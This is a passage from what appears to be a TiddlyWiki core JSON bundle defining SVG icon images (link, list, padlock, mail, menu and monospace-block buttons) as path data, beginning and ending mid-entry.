128,112 C128,103.163444 120.836556,96 112,96 L16,96 C7.163444,96 0,103.163444 0,112 C0,120.836556 7.163444,128 16,128 L16,128 Z\"></path>\n    </g>\n</svg>"
        },
        "$:/core/images/link": {
            "title": "$:/core/images/link",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-link tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <g fill-rule=\"evenodd\">\n        <path d=\"M128.719999,57.568543 C130.219553,53.8628171 131.045202,49.8121445 131.045202,45.5685425 C131.045202,27.8915447 116.718329,13.5685425 99.0452364,13.5685425 L67.0451674,13.5685425 C49.3655063,13.5685425 35.0452019,27.8954305 35.0452019,45.5685425 C35.0452019,63.2455403 49.3720745,77.5685425 67.0451674,77.5685425 L99.0452364,77.5685425 C100.406772,77.5685425 101.748384,77.4835732 103.065066,77.3186499 C96.4792444,73.7895096 91.1190212,68.272192 87.7873041,61.5685425 L67.0506214,61.5685425 C58.2110723,61.5685425 51.0452019,54.4070414 51.0452019,45.5685425 C51.0452019,36.7319865 58.2005234,29.5685425 67.0506214,29.5685425 L99.0397824,29.5685425 C107.879331,29.5685425 115.045202,36.7300436 115.045202,45.5685425 C115.045202,48.9465282 113.99957,52.0800164 112.21335,54.6623005 C114.314383,56.4735917 117.050039,57.5685425 120.041423,57.5685425 L128.720003,57.5685425 Z\" transform=\"translate(83.045202, 45.568542) rotate(-225.000000) translate(-83.045202, -45.568542)\"></path>\n        <path d=\"M-0.106255113,71.0452019 C-1.60580855,74.7509276 -2.43145751,78.8016001 -2.43145751,83.0452019 C-2.43145751,100.7222 11.8954151,115.045202 29.568508,115.045202 L61.568577,115.045202 C79.2482381,115.045202 93.5685425,100.718314 93.5685425,83.0452019 C93.5685425,65.3682041 79.2416699,51.0452019 61.568577,51.0452019 L29.568508,51.0452019 C28.206973,51.0452019 26.8653616,51.1301711 25.5486799,51.2950943 C32.1345,54.8242347 37.4947231,60.3415524 40.8264403,67.0452019 L61.563123,67.0452019 C70.4026721,67.0452019 77.5685425,74.206703 77.5685425,83.0452019 C77.5685425,91.8817579 70.413221,99.0452019 61.563123,99.0452019 L29.573962,99.0452019 C20.7344129,99.0452019 13.5685425,91.8837008 13.5685425,83.0452019 C13.5685425,79.6672162 14.6141741,76.533728 16.4003949,73.9514439 C14.2993609,72.1401527 11.5637054,71.0452019 8.5723215,71.0452019 L-0.106255113,71.0452019 Z\" transform=\"translate(45.568542, 83.045202) rotate(-225.000000) translate(-45.568542, -83.045202)\"></path>\n    </g>\n</svg>"
        },
        "$:/core/images/linkify": {
            "title": "$:/core/images/linkify",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-linkify-button tc-image-button\" viewBox=\"0 0 128 128\" width=\"22pt\" height=\"22pt\"><path d=\"M17.031 31.919H9.048V96.85h7.983v6.92H0V25h17.031v6.919zm24.66 0h-7.983V96.85h7.983v6.92H24.66V25h17.03v6.919zM67.77 56.422l11.975-3.903 2.306 7.096-12.063 3.903 7.628 10.379-6.12 4.435-7.63-10.467-7.45 10.2-5.943-4.523L58.1 63.518 45.95 59.35l2.306-7.096 12.064 4.17V43.825h7.45v12.596zM86.31 96.85h7.982V31.92H86.31V25h17.031v78.77H86.31v-6.92zm24.659 0h7.983V31.92h-7.983V25H128v78.77h-17.031v-6.92z\" fill-rule=\"evenodd\"/></svg>"
        },
        "$:/core/images/list-bullet": {
            "title": "$:/core/images/list-bullet",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-list-bullet tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <g fill-rule=\"evenodd\">\n        <path d=\"M11.6363636,40.2727273 C18.0629498,40.2727273 23.2727273,35.0629498 23.2727273,28.6363636 C23.2727273,22.2097775 18.0629498,17 11.6363636,17 C5.20977746,17 0,22.2097775 0,28.6363636 C0,35.0629498 5.20977746,40.2727273 11.6363636,40.2727273 Z M11.6363636,75.1818182 C18.0629498,75.1818182 23.2727273,69.9720407 23.2727273,63.5454545 C23.2727273,57.1188684 18.0629498,51.9090909 11.6363636,51.9090909 C5.20977746,51.9090909 0,57.1188684 0,63.5454545 C0,69.9720407 5.20977746,75.1818182 11.6363636,75.1818182 Z M11.6363636,110.090909 C18.0629498,110.090909 23.2727273,104.881132 23.2727273,98.4545455 C23.2727273,92.0279593 18.0629498,86.8181818 11.6363636,86.8181818 C5.20977746,86.8181818 0,92.0279593 0,98.4545455 C0,104.881132 5.20977746,110.090909 11.6363636,110.090909 Z M34.9090909,22.8181818 L128,22.8181818 L128,34.4545455 L34.9090909,34.4545455 L34.9090909,22.8181818 Z M34.9090909,57.7272727 L128,57.7272727 L128,69.3636364 L34.9090909,69.3636364 L34.9090909,57.7272727 Z M34.9090909,92.6363636 L128,92.6363636 L128,104.272727 L34.9090909,104.272727 L34.9090909,92.6363636 Z\"></path>\n    </g>\n</svg>"
        },
        "$:/core/images/list-number": {
            "title": "$:/core/images/list-number",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-list-number tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <g fill-rule=\"evenodd\">\n        <path d=\"M33.8390805,22.3563218 L128,22.3563218 L128,34.1264368 L33.8390805,34.1264368 L33.8390805,22.3563218 Z M33.8390805,57.6666667 L128,57.6666667 L128,69.4367816 L33.8390805,69.4367816 L33.8390805,57.6666667 Z M33.8390805,92.9770115 L128,92.9770115 L128,104.747126 L33.8390805,104.747126 L33.8390805,92.9770115 Z M0.379509711,42.6307008 L0.379509711,40.4082314 L1.37821948,40.4082314 C2.20382368,40.4082314 2.82301754,40.268077 3.23581964,39.9877642 C3.64862174,39.7074513 3.85501969,39.0400498 3.85501969,37.9855395 L3.85501969,22.7686318 C3.85501969,21.3270228 3.66193774,20.4327047 3.27576803,20.0856507 C2.88959832,19.7385967 1.79768657,19.5650723 0,19.5650723 L0,17.4226919 C3.50215975,17.2758613 6.25191314,16.4683055 8.24934266,15 L10.3666074,15 L10.3666074,37.865406 C10.3666074,38.786434 10.5164123,39.4404875 10.8160268,39.8275862 C11.1156412,40.2146849 11.764796,40.4082314 12.7635108,40.4082314 L13.7622206,40.4082314 L13.7622206,42.6307008 L0.379509711,42.6307008 Z M0.0798967812,77.9873934 L0.0798967812,76.0852799 C7.27064304,69.5312983 10.8659622,63.5046623 10.8659622,58.005191 C10.8659622,56.4434479 10.5397203,55.195407 9.88722667,54.2610308 C9.23473303,53.3266546 8.36253522,52.8594735 7.27060709,52.8594735 C6.3784219,52.8594735 5.61608107,53.1764892 4.98356173,53.8105302 C4.35104238,54.4445712 4.03478745,55.1753759 4.03478745,56.0029663 C4.03478745,56.9773871 4.28113339,57.8316611 4.77383268,58.5658139 C4.88036225,58.7259926 4.93362624,58.8461249 4.93362624,58.9262143 C4.93362624,59.0730449 4.77383427,59.2065252 4.45424555,59.3266593 C4.2411864,59.4067486 3.70188852,59.6336652 2.83633573,60.0074156 C1.99741533,60.3811661 1.47809145,60.5680386 1.2783485,60.5680386 C1.03865696,60.5680386 0.765679018,60.1976307 0.459406492,59.4568039 C0.153133966,58.715977 0,57.9184322 0,57.0641453 C0,55.1153036 0.848894811,53.5202138 2.5467099,52.2788283 C4.24452499,51.0374428 6.34512352,50.4167594 8.84856852,50.4167594 C11.3120649,50.4167594 13.3793735,51.0874979 15.0505562,52.4289952 C16.7217389,53.7704924 17.5573177,55.5224215 17.5573177,57.684835 C17.5573177,58.9662652 17.2743527,60.2076321 16.7084144,61.4089729 C16.142476,62.6103138 14.7875733,64.4623531 12.6436656,66.9651465 C10.4997579,69.4679398 8.40914641,71.7804862 6.3717683,73.902855 L17.8169822,73.902855 L16.7982982,79.6292176 L14.6810335,79.6292176 C14.7609307,79.3489048 14.8008787,79.0952922 14.8008787,78.8683723 C14.8008787,78.4812736 14.7010087,78.237672 14.5012658,78.1375603 C14.3015228,78.0374485 13.9020429,77.9873934 13.3028141,77.9873934 L0.0798967812,77.9873934 Z M12.2042333,97.1935484 C13.9486551,97.2335931 15.4400468,97.8309175 16.6784531,98.9855395 C17.9168594,100.140162 18.5360532,101.75861 18.5360532,103.840934 C18.5360532,106.830938 17.4041935,109.233584 15.14044,111.048943 C12.8766866,112.864303 10.1402492,113.771969 6.93104577,113.771969 C4.92030005,113.771969 3.26245842,113.388213 1.95747114,112.62069 C0.652483855,111.853166 0,110.848727 0,109.607341 C0,108.833144 0.26964894,108.209124 0.808954909,107.735261 C1.34826088,107.261399 1.93749375,107.024472 2.57667119,107.024472 C3.21584864,107.024472 3.73850152,107.224692 4.14464552,107.625139 C4.55078953,108.025586 4.92696644,108.67964 5.27318756,109.587319 C5.73925445,110.855401 6.51158227,111.489433 7.59019421,111.489433 C8.85523291,111.489433 9.87723568,111.012241 10.6562332,110.057842 C11.4352307,109.103444 11.8247236,107.371536 11.8247236,104.862069 C11.8247236,103.153495 11.7048796,101.838714 11.4651881,100.917686 C11.2254966,99.9966584 10.6728827,99.5361513 9.80732989,99.5361513 C9.22141723,99.5361513 8.62219737,99.843156 8.00965231,100.457175 C7.51695303,100.951059 7.07752513,101.197998 6.69135542,101.197998 C6.3584505,101.197998 6.08880156,101.051169 5.88240051,100.757508 C5.67599946,100.463847 5.57280049,100.183539 5.57280049,99.916574 C5.57280049,99.5962164 5.67599946,99.3225818 5.88240051,99.0956618 C6.08880156,98.8687419 6.57150646,98.5016711 7.33052967,97.9944383 C10.2068282,96.0722929 11.6449559,93.9766521 11.6449559,91.7074527 C11.6449559,90.5194601 11.3386879,89.615131 10.7261429,88.9944383 C10.1135978,88.3737455 9.37455999,88.0634038 8.5090072,88.0634038 C7.71003539,88.0634038 6.98431355,88.3270274 6.33181991,88.8542825 C5.67932627,89.3815377 5.35308434,90.0122321 5.35308434,90.7463849 C5.35308434,91.3871 5.60608828,91.9810874 6.11210376,92.5283648 C6.28521432,92.7285883 6.3717683,92.8954387 6.3717683,93.028921 C6.3717683,93.1490551 5.80250943,93.4560598 4.6639746,93.9499444 C3.52543978,94.4438289 2.80970494,94.6907675 2.51674861,94.6907675 C2.10394651,94.6907675 1.76771758,94.3570667 1.50805174,93.6896552 C1.24838591,93.0222436 1.11855494,92.4082342 1.11855494,91.8476085 C1.11855494,90.0989901 2.04734573,88.6240327 3.90495518,87.4226919 C5.76256463,86.2213511 7.86982116,85.6206897 10.226788,85.6206897 C12.2907985,85.6206897 14.0784711,86.0678487 15.5898594,86.9621802 C17.1012478,87.8565117 17.8569306,89.0778566 17.8569306,90.6262514 C17.8569306,91.987771 17.2876717,93.2491599 16.1491369,94.4104561 C15.0106021,95.5717522 13.6956474,96.4994404 12.2042333,97.1935484 Z\"></path>\n    </g>\n</svg>"
        },
        "$:/core/images/list": {
            "title": "$:/core/images/list",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-list tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <g fill-rule=\"evenodd\">\n        <path d=\"M0.719999312,185.568543 C2.21955287,181.862817 3.0452019,177.812144 3.0452019,173.568542 C3.0452019,155.891545 -11.2816707,141.568542 -28.9547636,141.568542 L-60.9548326,141.568542 C-78.6344937,141.568542 -92.9547981,155.895431 -92.9547981,173.568542 C-92.9547981,191.24554 -78.6279255,205.568542 -60.9548326,205.568542 L-28.9547636,205.568542 C-27.593228,205.568542 -26.2516158,205.483573 -24.9349335,205.31865 C-31.5207556,201.78951 -36.8809788,196.272192 -40.2126959,189.568542 L-60.9493786,189.568542 C-69.7889277,189.568542 -76.9547981,182.407041 -76.9547981,173.568542 C-76.9547981,164.731986 -69.7994766,157.568542 -60.9493786,157.568542 L-28.9602176,157.568542 C-20.1206685,157.568542 -12.9547981,164.730044 -12.9547981,173.568542 C-12.9547981,176.946528 -14.0004297,180.080016 -15.7866505,182.6623 C-13.6856165,184.473592 -10.949961,185.568542 -7.9585771,185.568542 L0.720002586,185.568542 Z\" transform=\"translate(-44.954798, 173.568542) rotate(-225.000000) translate(44.954798, -173.568542) \"></path>\n        <path d=\"M87.7480315,128 L23.9992458,128 C19.5813843,128 16,124.409247 16,119.993027 L16,8.00697327 C16,3.58484404 19.5881049,0 23.9992458,0 L104.000754,0 C108.418616,0 112,3.59075293 112,8.00697327 L112,104 L91.2492027,104 C90.2848199,104 89.410573,104.391703 88.7768998,105.025201 C88.1373658,105.661376 87.7480315,106.53563 87.7480315,107.501171 L87.7480315,128 Z M95.7480315,127.879386 L111.627417,112 L95.7480315,112 L95.7480315,127.879386 Z M40,15.5089165 C40,13.5709954 41.5636015,12 43.4998101,12 L98.5001899,12 C100.433082,12 102,13.5614718 102,15.5089165 L102,16.4910835 C102,18.4290046 100.436399,20 98.5001899,20 L43.4998101,20 C41.5669183,20 40,18.4385282 40,16.4910835 L40,15.5089165 Z M32,22 C35.3137085,22 38,19.3137085 38,16 C38,12.6862915 35.3137085,10 32,10 C28.6862915,10 26,12.6862915 26,16 C26,19.3137085 28.6862915,22 32,22 Z M40,31.5089165 C40,29.5709954 41.5636015,28 43.4998101,28 L98.5001899,28 C100.433082,28 102,29.5614718 102,31.5089165 L102,32.4910835 C102,34.4290046 100.436399,36 98.5001899,36 L43.4998101,36 C41.5669183,36 40,34.4385282 40,32.4910835 L40,31.5089165 Z M40,47.5089165 C40,45.5709954 41.5636015,44 43.4998101,44 L98.5001899,44 C100.433082,44 102,45.5614718 102,47.5089165 L102,48.4910835 C102,50.4290046 100.436399,52 98.5001899,52 L43.4998101,52 C41.5669183,52 40,50.4385282 40,48.4910835 L40,47.5089165 Z M40,63.5089165 C40,61.5709954 41.5636015,60 43.4998101,60 L98.5001899,60 C100.433082,60 102,61.5614718 102,63.5089165 L102,64.4910835 C102,66.4290046 100.436399,68 98.5001899,68 L43.4998101,68 C41.5669183,68 40,66.4385282 40,64.4910835 L40,63.5089165 Z M40,79.5089165 C40,77.5709954 41.5636015,76 43.4998101,76 L98.5001899,76 C100.433082,76 102,77.5614718 102,79.5089165 L102,80.4910835 C102,82.4290046 100.436399,84 98.5001899,84 L43.4998101,84 C41.5669183,84 40,82.4385282 40,80.4910835 L40,79.5089165 Z M40,95.5089165 C40,93.5709954 41.5636015,92 43.4998101,92 L98.5001899,92 C100.433082,92 102,93.5614718 102,95.5089165 L102,96.4910835 C102,98.4290046 100.436399,100 98.5001899,100 L43.4998101,100 C41.5669183,100 40,98.4385282 40,96.4910835 L40,95.5089165 Z M40,111.508916 C40,109.570995 41.5680474,108 43.4972017,108 L76.5027983,108 C78.4342495,108 80,109.561472 80,111.508916 L80,112.491084 C80,114.429005 78.4319526,116 76.5027983,116 L43.4972017,116 C41.5657505,116 40,114.438528 40,112.491084 L40,111.508916 Z M32,38 C35.3137085,38 38,35.3137085 38,32 C38,28.6862915 35.3137085,26 32,26 C28.6862915,26 26,28.6862915 26,32 C26,35.3137085 28.6862915,38 32,38 Z M32,54 C35.3137085,54 38,51.3137085 38,48 C38,44.6862915 35.3137085,42 32,42 C28.6862915,42 26,44.6862915 26,48 C26,51.3137085 28.6862915,54 32,54 Z M32,70 C35.3137085,70 38,67.3137085 38,64 C38,60.6862915 35.3137085,58 32,58 C28.6862915,58 26,60.6862915 26,64 C26,67.3137085 28.6862915,70 32,70 Z M32,86 C35.3137085,86 38,83.3137085 38,80 C38,76.6862915 35.3137085,74 32,74 C28.6862915,74 26,76.6862915 26,80 C26,83.3137085 28.6862915,86 32,86 Z M32,102 C35.3137085,102 38,99.3137085 38,96 C38,92.6862915 35.3137085,90 32,90 C28.6862915,90 26,92.6862915 26,96 C26,99.3137085 28.6862915,102 32,102 Z M32,118 C35.3137085,118 38,115.313708 38,112 C38,108.686292 35.3137085,106 32,106 C28.6862915,106 26,108.686292 26,112 C26,115.313708 28.6862915,118 32,118 Z\"></path>\n    </g>\n</svg>"
        },
        "$:/core/images/locked-padlock": {
            "title": "$:/core/images/locked-padlock",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-locked-padlock tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <g fill-rule=\"evenodd\">\n        <path d=\"M96.4723753,64 L105,64 L105,96.0097716 C105,113.673909 90.6736461,128 73.001193,128 L55.998807,128 C38.3179793,128 24,113.677487 24,96.0097716 L24,64 L32.0000269,64 C32.0028554,48.2766389 32.3030338,16.2688026 64.1594984,16.2688041 C95.9543927,16.2688056 96.4648869,48.325931 96.4723753,64 Z M80.5749059,64 L48.4413579,64 C48.4426205,47.71306 48.5829272,31.9999996 64.1595001,31.9999996 C79.8437473,31.9999996 81.1369461,48.1359182 80.5749059,64 Z M67.7315279,92.3641717 C70.8232551,91.0923621 73,88.0503841 73,84.5 C73,79.8055796 69.1944204,76 64.5,76 C59.8055796,76 56,79.8055796 56,84.5 C56,87.947435 58.0523387,90.9155206 61.0018621,92.2491029 L55.9067479,115.020857 L72.8008958,115.020857 L67.7315279,92.3641717 L67.7315279,92.3641717 Z\"></path>\n    </g>\n</svg>"
        },
        "$:/core/images/mail": {
            "title": "$:/core/images/mail",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-mail tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <g fill-rule=\"evenodd\">\n        <path d=\"M122.826782,104.894066 C121.945525,105.22777 120.990324,105.41043 119.993027,105.41043 L8.00697327,105.41043 C7.19458381,105.41043 6.41045219,105.289614 5.67161357,105.064967 L5.67161357,105.064967 L39.8346483,70.9019325 L60.6765759,91.7438601 C61.6118278,92.679112 62.8865166,93.0560851 64.0946097,92.8783815 C65.2975108,93.0473238 66.5641085,92.6696979 67.4899463,91.7438601 L88.5941459,70.6396605 C88.6693095,70.7292352 88.7490098,70.8162939 88.8332479,70.9005321 L122.826782,104.894066 Z M127.903244,98.6568194 C127.966933,98.2506602 128,97.8343714 128,97.4103789 L128,33.410481 C128,32.7414504 127.917877,32.0916738 127.763157,31.4706493 L94.2292399,65.0045665 C94.3188145,65.0797417 94.4058701,65.1594458 94.4901021,65.2436778 L127.903244,98.6568194 Z M0.205060636,99.2178117 C0.0709009529,98.6370366 0,98.0320192 0,97.4103789 L0,33.410481 C0,32.694007 0.0944223363,31.9995312 0.27147538,31.3387595 L0.27147538,31.3387595 L34.1777941,65.2450783 L0.205060636,99.2178117 L0.205060636,99.2178117 Z M5.92934613,25.6829218 C6.59211333,25.5051988 7.28862283,25.4104299 8.00697327,25.4104299 L119.993027,25.4104299 C120.759109,25.4104299 121.500064,25.5178649 122.201605,25.7184927 L122.201605,25.7184927 L64.0832611,83.8368368 L5.92934613,25.6829218 L5.92934613,25.6829218 Z\"></path>\n    </g>\n</svg>"
        },
        "$:/core/images/menu-button": {
            "title": "$:/core/images/menu-button",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-menu-button tc-image-button\" viewBox=\"0 0 128 128\" width=\"22pt\" height=\"22pt\">\n    <rect x=\"0\" y=\"16\" width=\"128\" height=\"16\" rx=\"8\"></rect>\n    <rect x=\"0\" y=\"56\" width=\"128\" height=\"16\" rx=\"8\"></rect>\n    <rect x=\"0\" y=\"96\" width=\"128\" height=\"16\" rx=\"8\"></rect>\n</svg>"
        },
        "$:/core/images/mono-block": {
            "title": "$:/core/images/mono-block",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-mono-block tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <g fill-rule=\"evenodd\">\n        <path d=\"M23.9653488,32.9670593 L24.3217888,32.9670593 C25.0766067,32.9670593 25.6497006,33.1592554 26.0410876,33.5436534 C26.4324747,33.9280514 26.6281653,34.4906619 26.6281653,35.2315017 C26.6281653,36.0562101 26.4219913,36.6502709 26.009637,37.0137017 C25.5972828,37.3771326 24.9158602,37.5588453 23.9653488,37.5588453 L17.6542639,37.5588453 C16.6897744,37.5588453 16.0048573,37.380627 15.5994921,37.0241852 C15.1941269,36.6677435 14.9914474,36.0701882 14.9914474,35.2315017 C14.9914474,34.4207713 15.1941269,33.8406885 15.5994921,33.4912358 C16.0048573,33.141783 16.6897744,32.9670593 17.6542639,32.9670593 L18.388111,32.9670593 L17.5284616,30.5139133 L8.47069195,30.5139133 L7.5691084,32.9670593 L8.30295547,32.9670593 C9.25346691,32.9670593 9.93488953,33.1452775 10.3472438,33.5017193 C10.759598,33.8581611 10.965772,34.4347494 10.965772,35.2315017 C10.965772,36.0562101 10.759598,36.6502709 10.3472438,37.0137017 C9.93488953,37.3771326 9.25346691,37.5588453 8.30295547,37.5588453 L2.89345418,37.5588453 C1.92896463,37.5588453 1.24404754,37.3771326 0.838682371,37.0137017 C0.433317198,36.6502709 0.230637652,36.0562101 0.230637652,35.2315017 C0.230637652,34.4906619 0.426328248,33.9280514 0.817715312,33.5436534 C1.20910238,33.1592554 1.78219626,32.9670593 2.53701417,32.9670593 L2.89345418,32.9670593 L8.51262607,17.3256331 L6.83526132,17.3256331 C5.88474988,17.3256331 5.20332727,17.1439204 4.79097304,16.7804895 C4.37861882,16.4170587 4.1724448,15.8299869 4.1724448,15.0192565 C4.1724448,14.1945481 4.37861882,13.6004873 4.79097304,13.2370565 C5.20332727,12.8736257 5.88474988,12.691913 6.83526132,12.691913 L14.6979086,12.691913 C15.9419603,12.691913 16.815579,13.3628521 17.318791,14.7047506 L17.318791,14.7676518 L23.9653488,32.9670593 Z M12.9786097,17.3256331 L9.9383861,26.1737321 L16.0188333,26.1737321 L12.9786097,17.3256331 Z M35.3809383,26.6979086 L35.3809383,33.0928616 L38.5259972,33.0928616 C40.7485166,33.0928616 42.3140414,32.8482484 43.2226185,32.3590146 C44.1311956,31.8697807 44.5854773,31.0520736 44.5854773,29.9058686 C44.5854773,28.7456855 44.1521624,27.9209895 43.2855197,27.4317556 C42.4188769,26.9425218 40.9022748,26.6979086 38.7356678,26.6979086 L35.3809383,26.6979086 Z M46.0741385,24.370565 C47.5977525,24.9296893 48.7159844,25.6949794 49.428868,26.666458 C50.1417516,27.6379366 50.498188,28.8784752 50.498188,30.388111 C50.498188,31.6601189 50.1906743,32.8202846 49.5756374,33.8686428 C48.9606006,34.917001 48.0799929,35.7766419 46.933788,36.4475911 C46.2628387,36.8389782 45.5115266,37.1220307 44.6798291,37.296757 C43.8481316,37.4714834 42.6704935,37.5588453 41.1468796,37.5588453 L39.3856466,37.5588453 L30.2020747,37.5588453 C29.2795194,37.5588453 28.6190637,37.3771326 28.2206876,37.0137017 C27.8223114,36.6502709 27.6231264,36.0562101 27.6231264,35.2315017 C27.6231264,34.4906619 27.811828,33.9280514 28.189237,33.5436534 C28.5666459,33.1592554 29.118773,32.9670593 29.8456347,32.9670593 L30.2020747,32.9670593 L30.2020747,17.3256331 L29.8456347,17.3256331 C29.118773,17.3256331 28.5666459,17.1299425 28.189237,16.7385554 C27.811828,16.3471683 27.6231264,15.7740744 27.6231264,15.0192565 C27.6231264,14.2085262 27.8258059,13.6179599 28.2311711,13.24754 C28.6365363,12.8771201 29.2934976,12.691913 30.2020747,12.691913 L39.8469219,12.691913 C42.796303,12.691913 45.0362615,13.2650068 46.5668644,14.4112118 C48.0974674,15.5574168 48.8627574,17.2347648 48.8627574,19.443306 C48.8627574,20.5335986 48.6286276,21.4945792 48.1603609,22.3262767 C47.6920943,23.1579742 46.9966938,23.8393968 46.0741385,24.370565 L46.0741385,24.370565 Z M35.3809383,17.1998307 L35.3809383,22.4835296 L38.2114913,22.4835296 C39.9307988,22.4835296 41.1433816,22.2808501 41.8492761,21.8754849 C42.5551706,21.4701197 42.9081126,20.7852027 42.9081126,19.8207131 C42.9081126,18.912136 42.5901154,18.2481858 41.9541114,17.8288425 C41.3181074,17.4094992 40.2872373,17.1998307 38.8614701,17.1998307 L35.3809383,17.1998307 Z M71.244119,13.3838259 C71.5236812,12.880614 71.8102281,12.5241775 72.1037684,12.3145059 C72.3973087,12.1048342 72.7677231,12 73.2150226,12 C73.8999499,12 74.3856819,12.1817127 74.6722332,12.5451435 C74.9587844,12.9085744 75.1020579,13.5305909 75.1020579,14.4112118 L75.143992,19.8626472 C75.143992,20.8271368 74.9867406,21.4771091 74.6722332,21.8125837 C74.3577257,22.1480584 73.7881263,22.3157932 72.9634178,22.3157932 C72.3763372,22.3157932 71.92555,22.1760142 71.6110425,21.896452 C71.2965351,21.6168898 71.0274605,21.0997075 70.8038107,20.3448896 C70.4403799,19.0169692 69.8602971,18.0629775 69.0635448,17.482886 C68.2667926,16.9027945 67.1625385,16.612753 65.7507494,16.612753 C63.5981206,16.612753 61.9487284,17.3396038 60.8025235,18.7933272 C59.6563185,20.2470506 59.0832246,22.3507245 59.0832246,25.104412 C59.0832246,27.8441215 59.6633074,29.9477954 60.8234905,31.4154969 C61.9836736,32.8831984 63.6400547,33.6170381 65.7926836,33.6170381 C67.2603851,33.6170381 68.878327,33.1278116 70.6465578,32.149344 C72.4147886,31.1708763 73.5295261,30.6816498 73.9908037,30.6816498 C74.53595,30.6816498 74.9937262,30.9122852 75.3641461,31.3735628 C75.734566,31.8348404 75.9197732,32.4079343 75.9197732,33.0928616 C75.9197732,34.3229353 74.836486,35.4831009 72.669879,36.5733935 C70.5032721,37.663686 68.0641285,38.2088241 65.3523753,38.2088241 C61.6901107,38.2088241 58.7267959,36.9997358 56.4623422,34.5815228 C54.1978885,32.1633099 53.0656786,29.0043046 53.0656786,25.104412 C53.0656786,21.3443006 54.2118664,18.22024 56.5042763,15.7321366 C58.7966863,13.2440331 61.7040894,12 65.226573,12 C66.2190187,12 67.1974717,12.1118232 68.1619613,12.3354729 C69.1264508,12.5591227 70.1538264,12.9085702 71.244119,13.3838259 L71.244119,13.3838259 Z M81.4645862,32.9670593 L81.4645862,17.3256331 L81.1081461,17.3256331 C80.3533282,17.3256331 79.7802344,17.1299425 79.3888473,16.7385554 C78.9974602,16.3471683 78.8017696,15.7740744 78.8017696,15.0192565 C78.8017696,14.2085262 79.0114381,13.6179599 79.4307814,13.24754 C79.8501247,12.8771201 80.5280528,12.691913 81.4645862,12.691913 L85.4063933,12.691913 L86.6434498,12.691913 C89.5648747,12.691913 91.7034933,12.8177141 93.0593699,13.06932 C94.4152465,13.320926 95.5684233,13.740263 96.5189347,14.3273436 C98.210286,15.3337675 99.5067362,16.7699967 100.408324,18.6360743 C101.309912,20.5021519 101.7607,22.6582429 101.7607,25.104412 C101.7607,27.6903623 101.247012,29.9512876 100.219621,31.8872557 C99.1922296,33.8232239 97.7350336,35.2874089 95.8479888,36.2798546 C94.9953241,36.7271541 93.9959043,37.0521403 92.8496993,37.2548229 C91.7034944,37.4575055 89.9981906,37.5588453 87.7337369,37.5588453 L85.4063933,37.5588453 L81.4645862,37.5588453 C80.5000966,37.5588453 79.8151795,37.380627 79.4098143,37.0241852 C79.0044492,36.6677435 78.8017696,36.0701882 78.8017696,35.2315017 C78.8017696,34.4906619 78.9974602,33.9280514 79.3888473,33.5436534 C79.7802344,33.1592554 80.3533282,32.9670593 81.1081461,32.9670593 L81.4645862,32.9670593 Z M86.8740874,17.2417648 L86.8740874,32.9670593 L88.0692098,32.9670593 C90.7110725,32.9670593 92.6609895,32.3205814 93.9190194,31.0276063 C95.1770492,29.7346312 95.8060547,27.7462749 95.8060547,25.0624779 C95.8060547,22.4206153 95.1665658,20.4497314 93.8875688,19.1497672 C92.6085718,17.849803 90.6831161,17.1998307 88.1111439,17.1998307 C87.7756693,17.1998307 87.5205727,17.2033252 87.3458463,17.2103142 C87.1711199,17.2173033 87.0138685,17.2277867 86.8740874,17.2417648 L86.8740874,17.2417648 Z M121.94052,17.1159625 L112.190837,17.1159625 L112.190837,22.4835296 L115.88104,22.4835296 L115.88104,22.2319249 C115.88104,21.4351727 116.055763,20.841112 116.405216,20.4497249 C116.754669,20.0583378 117.285829,19.8626472 117.998713,19.8626472 C118.627728,19.8626472 119.141415,20.0408655 119.539792,20.3973072 C119.938168,20.753749 120.137353,21.2045363 120.137353,21.7496826 C120.137353,21.7776388 120.144342,21.8684951 120.15832,22.0222543 C120.172298,22.1760135 120.179287,22.3297704 120.179287,22.4835296 L120.179287,26.8237109 C120.179287,27.7602442 120.011552,28.4311834 119.676077,28.8365486 C119.340603,29.2419138 118.795465,29.4445933 118.040647,29.4445933 C117.327763,29.4445933 116.789614,29.2558917 116.426183,28.8784827 C116.062752,28.5010738 115.88104,27.9419578 115.88104,27.201118 L115.88104,26.8237109 L112.190837,26.8237109 L112.190837,33.0928616 L121.94052,33.0928616 L121.94052,30.5977816 C121.94052,29.6612482 122.118738,28.9903091 122.47518,28.5849439 C122.831622,28.1795787 123.415199,27.9768992 124.225929,27.9768992 C125.022682,27.9768992 125.592281,28.1760842 125.934745,28.5744604 C126.277208,28.9728365 126.448438,29.6472701 126.448438,30.5977816 L126.448438,35.6718099 C126.448438,36.4266278 126.30167,36.9298322 126.008129,37.1814382 C125.714589,37.4330442 125.134506,37.5588453 124.267863,37.5588453 L107.095842,37.5588453 C106.173287,37.5588453 105.512831,37.3771326 105.114455,37.0137017 C104.716079,36.6502709 104.516894,36.0562101 104.516894,35.2315017 C104.516894,34.4906619 104.705595,33.9280514 105.083004,33.5436534 C105.460413,33.1592554 106.01254,32.9670593 106.739402,32.9670593 L107.095842,32.9670593 L107.095842,17.3256331 L106.739402,17.3256331 C106.026518,17.3256331 105.477886,17.126448 105.093488,16.7280719 C104.70909,16.3296957 104.516894,15.7600963 104.516894,15.0192565 C104.516894,14.2085262 104.719573,13.6179599 105.124938,13.24754 C105.530304,12.8771201 106.187265,12.691913 107.095842,12.691913 L124.267863,12.691913 C125.120528,12.691913 125.697116,12.8212085 125.997646,13.0798036 C126.298175,13.3383986 126.448438,13.8520864 126.448438,14.6208824 L126.448438,19.3175037 